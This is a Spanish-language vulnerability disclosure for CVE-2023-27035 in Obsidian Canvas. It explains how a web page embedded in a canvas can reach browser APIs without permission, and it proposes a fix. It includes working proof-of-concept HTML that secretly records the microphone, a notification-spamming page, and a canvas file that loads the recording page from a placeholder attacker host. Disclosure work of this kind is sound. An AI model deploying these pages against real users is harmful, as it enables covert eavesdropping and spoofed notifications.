fivex3/cve-2023-27035Prueba de concepto de exploit que demuestra la grabación no autorizada del micrófono y el abuso de notificaciones de escritorio a través de páginas web incrustadas en Obsidian Canvas, destacando la falta de manejo de solicitudes de permisos en Electron.
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N
Tipo de vulnerabilidad:
Control de acceso incorrecto
Descripción:
Un problema descubierto en Obsidian Canvas 1.1.9 permite a atacantes remotos enviar notificaciones de escritorio, grabar audio del usuario y otros impactos no especificados a través de un sitio web incrustado en la página de canvas.
Impacto:
Los sitios web incrustados maliciosos pueden acceder a APIs WEB sensibles en la aplicación Obsidian sin el permiso y conocimiento del usuario. Por ejemplo, pueden grabar silenciosamente el micrófono del usuario o enviar notificaciones de escritorio en nombre de la aplicación Obsidian, sin que el usuario lo sepa o haya otorgado permiso explícito.
La causa raíz de este problema es la ausencia del manejador de Solicitud de Permiso de Sesión en la aplicación.
Producto afectado:
Versiones afectadas:
Pasos para reproducir:
<!DOCTYPE html>
<html lang="en">
<head>
<title>_</title>
</head>
<body>
<h1>Make sure your microphone is unmuted.</h1>
<script>
// navigator.mediaDevices.enumerateDevices().then((devices) => console.log(devices))
// credit to https://github.com/bryanjenningz/record-audio
const recordAudio = () =>
new Promise(async resolve => {
const stream = await navigator.mediaDevices.getUserMedia({
audio: true
});
const mediaRecorder = new MediaRecorder(stream);
const audioChunks = [];
mediaRecorder.addEventListener("dataavailable", event => {
audioChunks.push(event.data);
});
const start = () => mediaRecorder.start();
const stop = () =>
new Promise(resolve => {
mediaRecorder.addEventListener("stop", () => {
const audioBlob = new Blob(audioChunks);
const audioUrl = URL.createObjectURL(audioBlob);
const audio = new Audio(audioUrl);
const play = () => audio.play();
resolve({
audioBlob,
audioUrl,
play
});
});
mediaRecorder.stop();
});
resolve({
start,
stop
});
});
const sleep = time => new Promise(resolve => setTimeout(resolve, time));
(async () => {
const recorder = await recordAudio();
recorder.start();
await sleep(5000);
const audio = await recorder.stop();
audio.play();
})();
</script>
</body>
</html>
{
"nodes":[{"id":"3cbfdfdb5bd83701","x":-995,"y":355,"width":646,"height":416,"type":"link","url":"https://ATTACKER/files/poc1.html"}],
"edges":[]
}
PoC de notificaciones:
<!DOCTYPE html>
<html lang="en">
<head>
<title>_</title>
</head>
<body>
<script>
let i = 0;
const interval = setInterval(() => {
const n = new Notification(`Obsidian`, {
body: 'Notification example.'
});
if (i === 10) {
clearInterval(interval);
}
i++;
}, 500);
</script>
</body>
</html>
Mitigación:
Implementar el manejador de Solicitud de Permiso de Sesión de Electron para manejar las solicitudes de permiso de las páginas incrustadas. El acceso a las APIs Web debe ser otorgado explícitamente por el usuario o denegado por defecto.
Referencias: